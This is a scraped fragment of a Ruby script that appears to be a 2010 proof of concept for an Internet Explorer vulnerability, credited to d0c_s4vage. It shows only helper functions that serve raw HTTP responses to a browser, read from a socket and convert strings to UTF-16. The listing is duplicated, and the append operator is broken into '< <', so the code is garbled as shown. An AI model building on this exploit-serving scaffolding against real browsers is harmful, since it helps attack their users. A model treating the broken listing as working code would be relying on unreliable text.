1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

#!/usr/bin/env ruby 
 
# Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ 
# Author: Nephi Johnson (d0c_s4vage) 
 
require 'socket'
 
def http_send(sock, data, opts={}) 
    defaults = {:code=>"200", :message=>"OK", :type=>"text/html"} 
    opts = defaults.merge(opts) 
 
    code = opts[:code] 
    message = opts[:message] 
    type = opts[:type] 
 
    to_send = "HTTP/1.1 #{code} #{message}\r\n" + 
              "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" + 
              "Cache-Control: no-cache\r\n" + 
              "Content-Type: #{type}\r\n" + 
              "Pragma: no-cache\r\n" + 
              "Content-Length: #{data.length}\r\n\r\n" + 
              "#{data}"
    puts "[+] Sending:"
    to_send.split("\n").each do |line| 
        puts "    #{line}"
    end
    sock.write(to_send) rescue return false
    return true
end
 
def sock_read(sock, out_str, timeout=5) 
    begin
        if Kernel.select([sock],[],[],timeout) 
            out_str.replace(sock.recv(1024)) 
            puts "[+] Received:"
            out_str.split("\n").each do |line| 
                puts "    #{line}"
            end
        else
            sock.close 
            return false
        end
    rescue Exception => ex 
        return false
    end
end
 
def to_uni(str) 
    res = ""
    str.each_byte do |b| 
        res < < "\x00#{b.chr}"
    end
    res 
end

#!/usr/bin/env ruby # Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ # Author: Nephi Johnson (d0c_s4vage) require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] to_send = "HTTP/1.1 #{code} #{message}\r\n" + "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" + "Cache-Control: no-cache\r\n" + "Content-Type: #{type}\r\n" + "Pragma: no-cache\r\n" + "Content-Length: #{data.length}\r\n\r\n" + "#{data}" puts "[+] Sending:" to_send.split("\n").each do |line| puts " #{line}" end sock.write(to_send) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts "[+] Received:" out_str.split("\n").each do |line| puts " #{line}" end else sock.close return false end rescue Exception => ex return false end end def to_uni(str) res = "" str.each_byte do |b| res < < "\x00#{b.chr}" end res end